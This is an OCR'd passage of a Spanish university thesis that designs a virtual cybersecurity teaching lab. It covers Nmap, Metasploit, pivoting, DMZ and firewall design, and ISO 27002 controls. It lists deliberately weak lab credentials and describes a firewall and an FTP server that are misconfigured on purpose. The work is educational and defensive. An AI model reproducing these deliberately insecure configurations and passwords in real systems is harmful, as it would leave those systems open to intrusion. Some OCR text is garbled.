Analizar los elementos técnicos y humanos que han producido que el ataque haya
tenido éxito

. Analizar las consecuencias del uso del equipos de trabajo fuera del ambiente laboral

y el impacto que podria tener este tipo de ataques en una empresa real y como
podria repercutir en su economia.

Analizar qué medidas implementaria el alumno si fuese el administrador de
sistemas de la empresa

Identificar los controles de la ISO/IEC 27002 que se deberian implantar en este
escenario

Implementar teéricamente el control 6.2.2.

4.3.3 Practica 3: Segregacion de redes y configuracién de cuentas

Esta practica es una de las principales del laboratorio y en la que se quiere mostrar al
alumno la importancia estratégica desde el punto de vista de la ciberseguridad de disponer
de redes segregadas dentro de una red empresarial. Uno de los conceptos mas
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fundamentales de este laboratorio que se pretendeensefiar es que el alumno comprenda la
importancia de crear una zona desmilitarizada para los servidores que expongan servicios a
Internet. En el caso de no existir segregacion de redes, si un servidor expuesto a Internet
se comprometiese, toda la red empresarial estaria a merced del atacante.

El escenario de la primera parte de esta practica se basa en que un atacante tras
comprometer el servidor web consigue pivotar hacia el servidor de archivos de la empresa
privado donde debido a una mala configuracién de las cuentas y las contrasefias consigue
acceder con las credenciales del usuario root del servidor web.

En la segunda parte de la practica se ensefiaran los conceptos fundamentales de un
cortafuegos y se realizard una segmentacion de la red con la creacion de una zona
desmilitarizada.

Las tareas especificas de esta practica son:

1. Presentar la herramienta de escaneo de puertos Nmap

Realizar un escaneo sigiloso con opciones especificas a una maquina objetivo

Identificar todas las vulnerabilidades del servidor web en especial la vulnerabilidad

de la version 5.5 de la aplicacion Tomcat

Introducir diccionario CVE de las vulnerabilidades de seguridad conocidas

Conocer mas en detalle el framework Metasploit

Utilizar el intérprete de comandos de Metasploit; meterpreter

Conocer los ataques de fuerza bruta y de diccionario y algunos de los diccionarios

mas extensos y eficaces de contrasefias

Presentar el concepto de ‘pivoting’

Aprender a documentar en una memoria todo un ataque cibernético

10. Analizar los elementos técnicos y humanos que han producido que el ataque haya
tenido éxito

11. Analizar las consecuencias de la falta de segregacion de redes en una
infraestructura de red de una empresa y el impacto que podria tener este tipo de
ataques en una empresa real y como podria repercutir en su economia.

12. Analizar qué medidas implementaria el alumno si fuese el administrador de
sistemas de la empresa

13. Identificar los controles de la ISO/IEC 27002 que se deberian implantar en este
escenario

14. Estudiar los fundamentos de un cortafuegos

15. Crear una zona desmilitarizada para el servidor web y opcionalmente el servidor de
archivos

16. Disefar una politica segura en el cortafuegos tanto para la red interna como para la
zona desmilitarizada con sus respectivas traducciones de direcciones y
direccionamientos

wn
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4.3.4 Practica 4: Control de acceso externo a través de un protocolo
cifrado

En esta préactica se ha querido ensefiar al alumno la importancia de usar protocolos con un
cifrado seguro en las comunicaciones ya que en caso de no usarlo se estaria exponiendo
toda la informacion que circula por ella, incluyendo obviamente, las credenciales. Por lo
que el escenario de esta practica consiste en que un empleado realiza una conexién no
cifrada desde una red externa de la empresa para conectarse a un servidor de la red
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empresarial. Al no utilizar un cifrado seguro en las comunicaciones y transmitir toda la
informacion en texto claro, un atacante con un analizador de trafico podria capturar todas
las credenciales del usuario con lo que eso supone para la seguridad de la empresa. En la
segunda parte de la practica se mostrard al alumno la manera de realizar este tipo de
conexiones con un cifrado seguro.

1. Explicar brevemente la potencia que tiene el hacking con buscadores para
geolocalizar objetivos
Presentar la herramienta de escaneo de puertos Nmap
Realizar un escaneo con opciones especificas a una maquina objetivo
Identificar algunas de las vulnerabilidades méas conocidas de Windows XP
Conocer més en detalle el framework Metasploit
Utilizar el intérprete de comandos de Metasploit; meterpreter
Mantener el control de una maquina victima después de su explotacién
Aprender a documentar en una memoria todo un ataque cibernético
Analizar los elementos técnicos y humanos que han producido que el ataque haya
tenido éxito
. Analizar las consecuencias del uso del equipos de trabajo fuera del ambiente laboral
y el impacto que podria tener este tipo de ataques en una empresa real y como
podria repercutir en su economia.
11. Analizar qué medidas implementaria el alumno si fuese el administrador de
sistemas de la empresa
12. Identificar los controles de la ISO/IEC 27002 que se deberian implantar en este
escenario
13. Implementar teéricamente el control 6.2.2.
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4.4 Conclusiones

En los apartados anteriores se ha mostrado el disefio tedrico de las précticas del
laboratorio para su posterior implementacion en el capitulo siguiente. Se ha visto en detalle
qué distribuciones se han utilizado para la creacion de las maquinas virtuales y como deben
ser sus configuraciones para implementar la red empresarial virtualizada con el detalle méas
técnico que lo tedrico permite.

Sobre esta base se han creado las cuatro préacticas del laboratorio con tareas especificas
para cada una y toda la historia que da soporte al alumno para situarle en un contexto y
hacer de este laboratorio un escenario lo mas real posible. La metodologia seguida para la
creacion de los guiones de las préacticas ha sido la de crear una historia basada en una
empresa ficticia que permite al alumno introducirse en un escenario realista que ayude a
conseguir una mayor motivacion en su proceso formativo. La narracion guia al alumno a
través de cuatro escenarios de ciberseguridad: ataques asociados a la ingenieria social, uso
de equipos en red en entornos externos a la empresa, el disefio y configuracion adecuado
de las redes informaticas de la empresa como paso fundamental para evitar ciberataques y
el posible control de acceso externo a través de un protocolo cifrado.
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5 Implementacion y validacion

5.1 Introduccioén

En este capitulo se va explicar como ha sido la implementacion de todo lo que se ha
detallado en la parte de disefio. Por lo tanto en los apartados siguientes se va a
desarrollar como ha sido la implementacion del entorno del laboratorio, la de las
précticas y cuél ha sido el resultado final.

Los siguientes apartados han sido el punto clave en el desarrollo de este proyecto y la
parte mas dificil sin duda de este trabajo de fin de grado, ya que se ha pasado del disefio
tedrico donde todo era posible, al producto final, donde se ha implementado y evaluado
todo el contenido del laboratorio para conseguir unas practicas robustas, flexibles y
escalables.

5.2 Implementacion del entorno del laboratorio

Este apartado refleja todas las acciones que se han llevado a cabo para implementar el
disefio tedrico.

Lo primero que hubo que crear fueron las maquinas virtuales en Virtualbox con los
requisitos de memoria gque se habian calculado y los adaptadores de red necesarios para
la instalacion. Después se instalaron las distribuciones especificas en cada una de las
maquinas, quedando el siguiente resultado final:

G 1
= EE= = General
Mombre: Firewall FINAL
Sistema operativo: Debian {64 bit) Mombre: kali linux FIMAL
Grupos: EntornoEmpresarialVirtualizado ) . . N
Sistema operativo:  Debian (64 bit)
[#] sistema Grupos: EntornoEmpresarialVirtualizado
Memoria base: 512 MB _
Orden de arranque: Disquete, CD/DVD, Disco duro E Sistema
Aceleracion: VT-x/AMD-Y, Paginacion anidada
Memoria base: 2076 MB
=l General Orden de arrangue: Disguete, CD/DVD, Disco duro
Aceleracidn: WT-x/AMD-Y, Paginacidn anidada
MNombre: Servidor DNS FINAL
Sistema operativo: Debian (64 bit)
Grupos: EntornoEmpresarialVirtualizado l@. General
E Sistema X
MNombre: Servidor FTP FINAL
Memoria base: 512MB 0 o i
Orden de arrangue: Disquete, CD/DVD, Disco duro SIStEI'ﬂEf DDEI’EItIVD. Ubunitu (64 blt) ialvi lizad
Aceleracién: VT-%/AMD-Y, Paginacién anidada Grupos: EntornoEmpresarialvirtualizado
= General E Sistema
Mombre: Windows 7 FINAL -
) : : - Memoria base: 512 ME
Sistema operativo:  Windows 7 (64 bit) b .
Grupos: EntormoEmpresarialVirtualizado Orden de arranque: Disquete, CD/DVD, Disco duro
Aceleracidn: WT-x/AMD-V, Paginacién anidada
E Sistema
Memoria base: 2048 MB
Orden de arrangue: Disquete, CD/DVD, Disco duro .@, General
Aceleracién: WT-xfAMD-V, Paginacion anidada
MNombre: Servidor Web FINAL
[E General Sistema operativo:  Linux 2.6 [ 3.x (54 bit)
Mombre: Windows XP FIMAL Grupos: EntornoEmpresarialvirtualizado
Sistema operative:  Windows XP (32 bit)
Grupos: EntornoEmpresarialVirtualizado E Sistema
E Sistema .
Memoria base: 256 MB
Memoria base: 256 MB Orden de arrangue:  Disquete, CD,/OVD, Disco duro

Orden de arranque: Disquete, CD/DVD, Disco duro

Aceleracién: VT-2¢/AMD-Y, Paginacién anidada Aceleracion: WT-x/AMD-Y, Paginacidn anidada

Figura 5.5-1: Méaquinas virtuales con sus requisitos técnicos
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Una vez se tuvieron todas las maquinas recién instaladas hubo que habilitar los
adaptadores de red en Virtualbox dependiendo del nimero de interfaces de red que
necesitaba cada una de las maquinas.

Siguiendo el disefio de red de la figura 4.5.1-2 en el apartado de Disefio del entorno en
el capitulo Disefio, la configuracion final es la siguiente:

e Kali linux:

e Cortafuegos:

[ lo: esta es la interfaz de local loopback

- ethO: esta interfaz permite el acceso a
Internet a través de la conexion del
equipo de anfitrion utilizando un NAT
virtual.

- ethl: esta interfaz permite el acceso a
Internet al servidor web a través de la
interfaz ethl

- eth2: esta interfaz esta asociada a la red

publica de un establecimiento ficticio

( - lo: esta es la interfaz de local loopback

- ethl: esta interfaz permite el acceso a
Internet a través de la conexion del
equipo de anfitrion utilizando un NAT
virtual.

- eth1:0: esta interfaz permite el acceso a
Internet al servidor web a través de la
interfaz ethl

- ethl1:1: esta interfaz permite el acceso
a Internet al servidor de archivos a
través de la interfaz ethl.

- eth2: esta interfaz realiza el papel de
conmutador y enrutador de paquetes
|\ paralared empresarial EPS.

twork interface

k interface

Figura 5.5-2: Interfaces de
red de Kali Linux

ork interface

Figura 5.5-3: Interfaces de
red del cortafuegos
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e Servidor Web: {

o Servidor FTP: <

’

’

e Servidor DNS: <

‘

e Equipo #1:

- lo: ésta es la interfaz de local loopback

- eth0: esta interfaz de red esta asociada a la
red local de la empresa ficticia EPS

- lo: ésta es la interfaz de local loopback

- eth0: esta interfaz de red esta asociada a la
red local EPS

- lo: ésta es la interfaz de local loopback

- eth0: esta interfaz de red estd asociada a la
red local EPS

it The loopback network interface

uto lo
iface lo inet loopback

it The primary network interface
uto etho
iface ethd inet static
address 192.168.1.10
netmask 255.255.255.0
network 192.168.1.0
gateway 192.168.1.1
broadcast 192.168.1.255
dns-nameservers 192.168.1.30

Figura 5.5-4: Interfaces de
red del servidor web

it The loopback network interface

uto lo
iface lo inet loopback

t The EPS network interface

futo etho

iface eth0 inet static
address 192.168.1.20
netmask 255.255.255.0
gateway 192.168.1.1
broadcast 192.168.1.255
network 192.168.1.0
dns-nameservers 192.168.1.30

Figura 5.5-5: Interfaces de
red del servidor ftp

< interface

Figura 5.5-6: Interfaces de
red del servidor dns

- Conexion de area local 2: interfaz asociada a la red local EPS

- Conexion de area local 3: interfaz asociada a la primera red publica

- Conexion de area local 4: interfaz asociada a la segunda red publica

iConf iguracidn IP de Windows

Hombre del host

Sufijo DMS principal
Tipo de nodo
Enrutamiento habilitado
Proxy WINS habilitado

Adaptador Ethernet Conexidén de Area local 4

Sufijo de conexidén especifica DNS =
Descripcidn, .

daptador Ethernet PCI AMD PCHET

ps—winxp—pc

conocido

Family #4

8—-BA—-27-2F-8E—85

Direccidén IP. . . .
Miscara de subred
Puerta de enlace predeterminada

Adaptador Ethernet Conexidn de aArea local 2

Sufijo de conexidén especifica DHS =
Descripcidn

Direccidn isi

DHCFP habi

Direccion IP. . . .

Mascara de subred

Puerta de enlace predeterminada
DHS

-255

Servidores

Adaptador Ethernet Conexidén de Area local 3

Sufijo de conexidén especifica DNS
Descripcidn

Direccidn fisica. .

DHCP habilitado. .

Direccidn I

Miscara de subred

Puerta de enlace predeterminada

daptador» Ethernet PCI AMD PCHET
8-HB—-27-E@—-31—AA

-168.1.18
-255.8
-168.1.
92.168.1.
-8.8

Adaptador Ethernet PCI AMD PCHET
B—-BB-27-8E—26—D2

o
?2.16.18.1688
255 .255.255.8

o
?2.16.1.188
55.255.255.8

Family #2

Family #3

Figura 5.5-7: Adaptadores de red de Windows XP
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( - Conexioén de area local 2: interfaz asociada en la red local EPS

onfiguracién IP de Windows

Nombre de host. . . . . . . . . = EPS-Win?-PC
Bufijo DNS principal H

Tipo de nodo

Enrutamiento IP hahilitado. . . :

° EqL“pO #2 < Proxy WINS habilitado

Adaptador de Ethernet Conexién de area local 2:

Sufijo DNS especifico para la conexidn. . :
Descripcidn : Adaptador de escritorio Intel(R> PRO-1888 MT #2

Direccidn fisica : B8-U@-27-35-83-97

DHCP hahilitado H

Configuracion automatica habilitada . . 5i

Vinculo: direccidon IPv6 local. . . : feB@::48fa:dBab:h2c2:441ax13¢(Preferido’
Direccidn IPv4 : 192.168.1.118¢Preferidod

Miscara de subred . . @ 255.255.255.8

Puerta de enlace predeterminada H . .

IAID DHCPué 0 15
DUID de cliente DHCPvé : 88-01-06-81-1D-87-A4-1D-B8-B0-27-63-B2-77
Servidores DNE H -168.1.38

NetBIOS sobre TCP/IP "% habilitado

Fiagura 5.5-8: Adaptadores de red de Windows 7

Con todas las redes y sus respectivas interfaces configuradas se deben crear las cuentas de
acceso y configurar los privilegios segun los departamentos de la empresa ficticia en cada
una de las maquinas.

ag a a ario 0 asena P eglo
Kali Linux root toor Root
Cortafuegos root root Root
técnico 1234 sudo
Servidor Web root root Root
técnico 1234 sudo
desarrolladores pythonpower sudo
Servidor FTP root root Root
técnico 1234 sudo
director Realcr7 sudo
rrhh loveandpeace sudo
desarrolladores pythonpower sudo
eco-finan wallstreetpros sudo
Servidor DNS root root Root
tecnico 1234 sudo
Equipo #1 Administrador root admin
(Windows XP) técnico 1234 admin
director Realcr7 sudo
rrhh loveandpeace sudo
desarrollad pythonpower sudo
eco-finan wallstreetpros sudo
Equipo #2 Administrador admin admin
(Windows 7) técnico 1234 admin
director Realcr7 sudo
rrhh loveandpeace sudo
desarrolladores pythonpower sudo
eco-finan wallstreetpros sudo

Tabla 5.2-4: Cuentas locales de cada maquina virtual
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Por ultimo, se tendran que instalar y configurar todos los servicios que ofrezca cada
maquina virtual para lograr asi el entorno empresarial virtualizado de una manera
totalmente funcional.

Los principales servicios y aplicaciones que se han instalado han sido:

1. Firewall Builder: es una aplicacion cliente que permite disefiar comodamente la
politica de seguridad y luego aplicarla a la maquina cortafuegos de forma directa,
mediante una conexion SSH. Dispone de una version libre y funcional para Linux,
asi como versiones de pago, aunque con un coste muy bajo, para Windows y Mac
OS X. Como nuestro cortafuegos estaba basado en Debian se ha optado por utilizar
iptables para definir las reglas.

En las siguientes imagenes se puede ver como con esta aplicacion se ha
configurado la politica del cortafuegos y la tabla de enrutamiento. Hay que resaltar
que se ha configurado erroneamente la politica del cortafuegos para que éste sea

vulnerable.
o fw-tfg2 / Policy
Source Destination Service Interface Direction | Action Time  Options Comment
x O -fw-tfg2 Any Any EINAT Q& Both @Accept Any [%Log
1 "E"E]EPS—LOCEL hfw—tng T'»_\C?_:ssh Any ﬁg Both @Accept Any [%Log
2 "E‘_f‘simlnternet !?. fw-tfg2:ethl:ip Any Any ﬁ.& Both @Accept Any [%Log
3 "E"Ejsimlnternet !?_ fw-tfg2:ethl:ip-www Any Any Q& Both @Accept Any [%Log
4 %‘E]simlnternet !?. fw-tfg2:ethl:ip-ftp Any Any ﬁ.@' Both @Accept Any %Log
5 Any rz:lwww Any Any G Inbour@Accept Any [%Log
6 l—ZIwww Any Any Any ﬂ Outbo @Accept Any [%Log
x 7 Any rZ]ftp Any Any G Inbour@!—\ccept Any %Log
x 8 rz‘ftp Any Any Any ﬂ Outbo @Accept Any [%Log
9 "E‘:ﬂ’_‘]EPS-LocaL Any Any Any Q& Both @Accept Any [%Q’Log
10 Any Any Any @ILOCBL Loopback ﬁ.@' Both @Accept Any %Log
11 Any Any Any Any ﬁ& Both ODen\.r Any [%Log
™ fw-tfg2 / NAT
Qriginal Src Original Dst Original Srv | Translated Src Translated Dst Translated Srv  Interface In | Interface Out Action Options  Comment

0 [ﬁﬂEPS-LocaL %swm\nternet Any !?_ fw-tfg2:ethLip Original Original Auto Auto \_\\'Translate

1 [EEPS-LUGL Any Any Lp. fw-tfg2:eth0:ip Original Original Auto Auto \7\"Translate

2 1?_ fw—tng:ethO:ip%EPS—local Any !?_ fw-tfg2:eth2ip Criginal Original Auto Auto \_\\'Translate

3 Any !‘:_ fw-tfg2:ethlip-www Any Original 1?_ www-local Original Auto Auto \_\"Translate

4 1?_ www-local Any Any f_ fw-tfg2iethLip-www  Original Original Auto Auto \_\\'Translate

5 Any !?_ fw-tfg2:ethLip-ftp Any Original 1?_ ftp-local Original Auto Auto \_\\'Translate

6 1?_ ftp-local Any Any !i fw-tfg2iethLip-ftp Qriginal Original Auto Auto \7\\'Translate

Figura 5.5-9: Politica y NAT del cortafuegos en fwbuilder

2. Servidor Apache: es un servidor web HTTP de codigo abierto, para plataformas
Unix, Microsoft Windows, Macintosh y otras, que implementa el protocolo
HTTP/1.1 y la nocién de sitio virtual. Para esta practica se ha creado una web
sencilla de la empresa ficticia simplemente para ilustrar el concepto.
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Emprendedores Para Siempre

Principal

-

iBienvenido a nuestra pagina weh! Enlaces de interés
GITST

Somos una start-up con un gran proyecto en mente que solucionara lavida de
muchas personas. Gracias alas nuevas tecnologias y a la herramienta que
estamos desarrollando, conectaremos atodo aquel que lo necesite. Ya no habra

mas gente sola en este mundo que no quiera estarlo.

En el proximo Hackaton Spain os mostraremos nuestro proyecto... ;Te lovas a

perder? Inscribete ya: Hackaton Spain

Figura 5.5-10: Pagina web de la empresa ficticia

3. Bind: es el servidor de DNS méas comln usado en Internet, especialmente en
sistemas Unix, en los cuales es un Estandar de facto. Es patrocinado por la Internet
Systems Consortium. BIND fue creado originalmente por cuatro estudiantes de
grado en la University of California, Berkeley y liberado por primera vez en el
4.3BSD. Paul Vixie ha sido la persona que lo ha mantenido desde 1988.

Para este laboratorio se ha creado el dominio eps.tfg. A continuacién se muestran
los archivos de configuracion de bind donde se han asignado las IPs a los nhombres
de dominio.
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BEIND data file

in-addr.arpa.

In
In
IM

Figura 5.5-51: Archivos de configuracion de dominio en bind

El funcionamiento de la traduccion de dominios se puede comprobar de la siguiente

forma:

<<>> DiG 9.4.2 <<{>> wuw.eps.tfg
;; global options: printcmd
;: Got answer:
;: —>>HEADER<<- opcode: QUERY, status: NOERROR, id: 15426
;: flags: gqr aa rd ra: QUERY: 1, ANSUER: 1, AUTHORITY: 1, ADDITIONAL: 1

;; QUESTIDN SECTIDN:
wuw .eps.tfg. IN

:: ANSWER SECTION:
wwuw .eps.tfg. 604500 IN 192.168.1.10

:: AUTHORITY SECTIDN:
eps.tfg. 604800 IN nsl.eps.tfyg.

;: ADDITIONAL SECTION:
msl.eps.tfqg. 604800 1IN 192.168.1.30

;5 Query time: 0 msec

;: SERVER: 192.168.1.30#53(192.168.1.30)
;7 WHEN: Mon Jun 29 17:56:20 2015

; MSG SIZE rcued: 79

Figura 5.5-62: Comprobacion del funcionamiento del dominio con la herramienta
dig

Vsftpd: es un servidor FTP para los sistemas Unix, incluido Linux y tiene una
licencia bajo GNU GPL. Vsftpd es el servidor FTP por defecto de las distribuciones
Ubuntu, CentOs, Fedora, NimbleX, Slackware y RHEL Linux.
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En este laboratorio el servidor FTP se ha realizado una configuracion vulnerable de
tal manera que se han permitido todas las cuentas locales del servidor de la
maquina virtual con las mismas credenciales pero no se han permitido los accesos
anonimos.

5. Correo: para algunas de las practicas ha sido necesario crear una cuenta de correo
corporativa. Para no complicar a los alumnos con un servicio de correo por linea de
comandos se ha creado una cuenta en el servicio de correo electronico de Gmail
con la siguiente direccion: tfg.eps@gmail.com.

También para dar més realismo al entorno y como objetivo del atacante en algunas de las
précticas, se han creado carpetas y archivos de la empresa ficticia que se han alojado en
algunas maquinas del laboratorio.

5.3 Implementacién de las practicas del laboratorio

En este apartado se han implementado los posibles guiones de las practicas de un
laboratorio de ciberseguridad. Las practicas completas con los objetivos, las narraciones
inventadas y las indicaciones de la memoria se encuentran en el anexo A.

5.4 Validacién y resultados

Una vez concluida toda la implementacion del entorno del laboratorio y los guiones finales
de las pruebas es el momento de evaluar si todo funciona correctamente en la red
empresarial virtualizada y cudl es la calidad de las practicas planteadas.

Para comprobar la validez del entorno virtualizado se han utilizado tres equipos distintos.
También las précticas han sido evaluadas practicamente por un estudiante de ultimo curso
del grado de Ingenieria en Sistemas Audiovisuales y Multimedia de la URJC y
tedricamente por el tutor de este TFG profesor de la asignatura Seguridad en Sistemas y
Redes de Telecomunicacion de la ETSI de la UPM.

Los resultados obtenidos han sido bastante 6ptimos y muy parecidos a los esperados. Las
pruebas han despertado en el alumno el interés por la ciberseguridad y los retos propuestos
son adecuados para poder realizarse con un breve conocimiento de seguridad pero
manteniendo un nivel de complejidad que resulte gratificante al terminarlo.

Lo Unico que no se ha podido determinar exactamente es la duracion de las mismas, ya que
al no poseer el alumno conocimientos previos y no haber visto ninguna asignatura de
ciberseguridad durante el grado, su tiempo empleado ha sido méas de lo calculado
previamente.

Finalmente decir que el uso de los resultados de este TFG para la creacion del laboratorio
de ciberseguridad dependera de un analisis previo por parte del equipo docente que desee
utilizarlo, por lo que para obtener los resultados de una validacion completa habria que
esperar a su implantacion real dentro del contexto académico adecuado.
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6 Conclusiones y trabajo futuro

6.1 Introduccioén

En el Gltimo capitulo de este Trabajo de Fin de Grado se realizard un analisis de todas las
fases por las que ha pasado este proyecto hasta llegar a su producto final y se extraeran las
conclusiones finales de todo el proceso de desarrollo.

Ademas, en el apartado de Trabajos Futuros se puntualizara cuales son los puntos que
pueden mejorar este proyecto y principalmente todos los pasos que pueden llevar a hacer
realidad la existencia del nuevo laboratorio de ciberseguridad.

6.2 Conclusiones

El objetivo de este TFG ha sido proporcionar un material que pueda servir al equipo
docente para complementar la formacion practica en materia de ciberseguridad de los
estudiantes en el Grado en Ingenieria en Tecnologias y Servicios de Telecomunicacion o
en los masteres de ciberseguridad que ofrece la Universidad Auténoma de Madrid. Debido
a que la formacion en ciberseguridad requiere de una parte practica muy importante se ha
intentado crear un escenario de aprendizaje donde el alumno pueda desarrollar esta
actividad situandolo en un escenario lo mas fiel a la realidad posible.

Para conseguir este objetivo se han realizado las fases de analisis, disefio e
implementacién de unas pruebas y de un entorno empresarial virtualizado donde poder
realizarlas. Las practicas conforman un total de cuatro ejercicios, cada una de ellos
relacionado con uno o varios puntos del estandar ISO/IEC 27002. Este estandar
proporciona las buenas précticas y guias de implementacion de los controles para la
implantacion de un sistema de gestion de la seguridad de la informacion recogido en el
estandar ISO/IEC 27001. Para dar una mayor vision y motivacion al alumno, todas las
practicas cuentan con un contexto didactico ficticio y dos puntos de vista, desde la postura
del atacante y la del defensor.

Ademas este TFG ha creado un entorno virtual donde se puedan ejecutar todas las
practicas. Este escenario virtualizado basado en un escenario basico de una infraestructura
de red empresarial ha conseguido que se pueda utilizar en equipos sin muchos
requerimientos de hardware y sin coste econdmico alguno para la universidad o el
estudiante.

Por todo esto se ha conseguido un laboratorio de ciberseguridad flexible, portable, modular
y escalable.

Finalmente, el objetivo dltimo ha sido que este trabajo pueda ser de utilidad futura,
después de ser analizado por un equipo docente y validado por un mayor numero de
estudiantes, para el laboratorio de una asignatura de ciberseguridad en la Escuela
Politécnica Superior de la Universidad Autonoma de Madrid.
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6.3 Trabajo futuro

El primer trabajo futuro seria implementar el laboratorio de ciberseguridad dentro de un
plan de estudios de una titulacion de Grado en Ingenieria de Tecnologias y Servicios de
Telecomunicacion. Obviamente, este trabajo futuro esta condicionado por muchos factores
académicos, econémicos y de politica universitaria.
Desde un punto de vista técnico y practico asociado al TFG, algunos de los aspectos a
considerar serian:
1) Coordinar los contenidos précticos del laboratorio con las asignaturas teoricas de la
titulacion
2) Valorar el interés de los contenidos propuestos en este TFG por los profesores
coordinadores responsables del laboratorio
3) Realizar un estudio de viabilidad de analisis de costes y carga docente para la
implementacion del laboratorio en el centro educativo
4) Dimensionar adecuadamente el esfuerzo del alumno y del profesor para la
implementacidn de las practicas en funcion del numero de ECTS de las practicas.
5) Redisefiar las practicas y esencialmente los guiones para adaptarlas al disefio
curricular decidido
6) Finalmente, realizar una evaluacién de las practicas con alumnos voluntarios de la
titulacion

En segundo lugar y debido a la naturaleza modular y escalable de este TFG, las opciones
de mejora y ampliacion del laboratorio son ilimitadas. El trabajo futuro més obvio para
ampliar este laboratorio es el de crear mas préacticas para este entorno virtualizado para
cubrir muchisimo mejor todo el espectro de la ciberseguridad. Algunas de las ideas para
estas posibles practicas son las siguientes:

1) Esteganografia: realizar una préctica basado en el intercambio de informacion a
través de mensajes inyectados en imagenes y como detectarlo con estegoanalisis.

2) Ingenieria inversa: a partir de ficheros ofuscados obtener informacion sensible.

3) Ataques al servidor DNS: aprovechando la infraestructura ya creada se pueden
disefiar multitud de ataques como por ejemplo obtener informacion de la estructura
empresarial atacando al servidor de dominio realizando una transferencia de zona.

4) Anonimato: introducir al alumno escaneos de redes y servidores detrds de un proxy
o lared Tor.

5) Windows Server: introducir en la infraestructura creada un sistema vulnerable con
la autenticacion de Active Directory propia de los servidores Windows.

6) Andlisis forense: tras recibir un ataque realizar aprender los pasos para realizar un
analisis forense con éxito.

7) Implantar méas controles de la ISO/IEC 27002 de manera préactica.

Como se puede apreciar, las posibilidades son numerosas y si se desea profundizar en
pruebas de este tipo con realizar una investigacion en Internet sobre las numerosas
competiciones de CTF (Capture The Flag), wargames o hacking-labs, se puede encontrar
un abanico de pruebas en todos los niveles de aprendizaje muy interesantes y educativas.
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Glosario

Backtrack Distribucion GNU/Linux en formato LiveCD pensada y disefiada

para la auditoria de seguridad.

BeEF Herramienta de pentesting de codigo libre para la explotacion de

aplicaciones web y de vulnerabilidades en los navegadores web.
CentOS Community ENTerprise Operating System es una bifurcacién a nivel
binario de la distribucion Linux Red Hat Enterprise Linux RHEL,
compilado por voluntarios a partir del codigo fuente publicado por
Red Hat

CERT Computer Emergency Response Team es un centro de respuesta a

incidentes de seguridad en tecnologias de la informacion.
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CTF

CTSS

Debian

DMZ

DNS

Esteganografia

Estegoanélisis

eth0

Exploit

Fedora

FTP

Gemalto

GNU/Linux

Capture The Flag es un tipo de competicion dentro del mundo del
hacking donde cada equipo tiene una “bandera” en su servidor que
debe proteger y conseguir la “bandera” del resto de equipos atacando
sus servidores.

Compatible Time-Sharing System fue uno de los primeros sistemas
operativos de tiempo compartido; fue desarrollado en el Centro de
Computacion del MIT.

Comunidad conformada por desarrolladores y usuarios, que
mantiene un sistema operativo GNU basado en software libre.

Demilitarized Zone es una zona segura que se ubica entre la red
interna de una organizacion y una red externa, generalmente en
Internet.

Domain Name System es un sistema de homenclatura jerarquica para
computadoras, servicios o cualquier recurso conectado a Internet o a
una red privada.

Del griego steganos (cubierto u oculto) y graphos (escritura), trata el
estudio y aplicacion de técnicas que permiten ocultar mensajes u
objetos, dentro de otros, llamados portadores, de modo que no se
perciba su existencia.

Disciplina dedicada al estudio de la deteccion de mensajes ocultos
usando esteganografia.

Identificador que se la a las interfaces de red en los sistemas
operativos UNIX

Fragmento de software, fragmento de datos o0 secuencia de
comandos y/o acciones, utilizado con el fin de aprovechar una
vulnerabilidad de seguridad de un sistema de informacion para
conseguir un comportamiento no deseado del mismo.

Distribucion Linux para propdsitos generales basada en RPM, que se
caracteriza por ser un sistema estable.

File Transfer Protocol es un protocolo de red para la transferencia de
archivos entre sistemas conectados a una red TCP basado en la
arquitectura cliente-servidor.

Vendedor de tarjetas inteligentes y otros productos de seguridad
digital fundada en junio del 2006, mediante la fusion de Axalto y
Gemplus International SA.

Término empleado para referirse a la combinacion del nucleo o
kernel libre similar a Unix denominado Linux con el sistema GNU.
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Hacker ético

Hacking ético

Hipervisor

IEC

Ingenieria inversa

Ingenieria social

IP

ISACA

ISO

Kali Linux

MD5

Metasploit

Meterpreter

Persona experta en ordenadores y redes que realiza un ataque
sisteméatico a una infraestructura de red o de ordenadores con la
autorizacion de sus propietarios con el objetivo de descubrir
vulnerabilidades que un hacker malicioso podria explotar.

Actividad que realiza un hacker ético.

Plataforma que permite aplicar diversas técnicas de control de
virtualizacion para utilizar, al mismo tiempo, diferentes sistemas
operativos en una misma computadora.

International Electrotechnical Commission es una organizacion de
normalizacion en los campos: eléctrico, electronico y tecnologias
relacionadas.

Obtener informacion o un disefio a partir de un producto, con el fin
de determinar de qué esta hecho, qué lo hace funcionar y cémo fue
fabricado.

Practica de obtener informacion confidencial a través de la
manipulacion de usuarios legitimos.

Internet Protocol es un protocolo de comunicacion de datos digitales
clasificado funcionalmente en la Capa de Red segin el modelo
internacional OSI.

Information Systems Audit and Control Association es una
asociacion internacional que apoya y patrocina el desarrollo de
metodologias y certificaciones para la realizacion de actividades
auditoria y control en sistemas de informacion.

International Organization for Standardization es el organismo
encargado de promover el desarrollo de normas internacionales de
fabricacion (tanto de productos como de servicios), comercio y
comunicacion para todas las ramas industriales.

Distribucion basada en Debian GNU/Linux disefiada principalmente
para la auditoria a partir de la distribucion BackTrack.

Message-Digest Algorithm 5 es un algoritmo de reduccion
criptografico de 128 bits disefiado por el profesor Ronald Rivest del
MIT

Proyecto open source de seguridad informéatica que proporciona
informacidn y exploits de vulnerabilidades de seguridad.

Metasploit Interpreter es el intérprete de comandos de Metasploit.
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NAT

Nessus

NimbleX

Nmap

Pivoting

Proxy

RAM

RHEL Linux

Root

SHA-1

Slackware

Stuxnet

TCP

TomCat

Tor

Network Address Translation es un mecanismo utilizado por Routers
IP para intercambiar paquetes entre dos redes que asignan
mutuamente direcciones incompatibles.

Programa de escaneo de vulnerabilidades en diversos sistemas
operativos.

Distribucién de Linux basada en Slackware.

Programa de cddigo abierto que sirve para efectuar escaneo de
puertos escrito originalmente por Gordon Lyon.

Método usado por los hackers éticos que utiliza un sistema
comprometido para acceder a otro sistema en la misma red evitando
el cortafuegos.

Servidor que sirve de intermediario en las peticiones de recursos que
realiza un cliente a un servidor.

Random Access Memory es la memoria principal de la computadora,
donde residen programas y datos, sobre la que se pueden efectuar
operaciones de lectura y escritura.

Red Hat Enterprise Linux es una distribucion comercial de Linux
basada en Fedora desarrollada por Red Hat.

Nombre convencional de la cuenta de usuario que posee todos los
derechos en todos los modos (mono o multi usuario) en sistemas
operativos UNIX.

Secure Hash Algorithm -1 es un algoritmo de la familia de funciones
hash.
Distribucion Linux mas antigua que tiene vigencia.

Primer gusano conocido que espia Yy reprograma sistemas
industriales, en concreto sistemas SCADA de control vy
monitorizacion de procesos, pudiendo afectar a infraestructuras
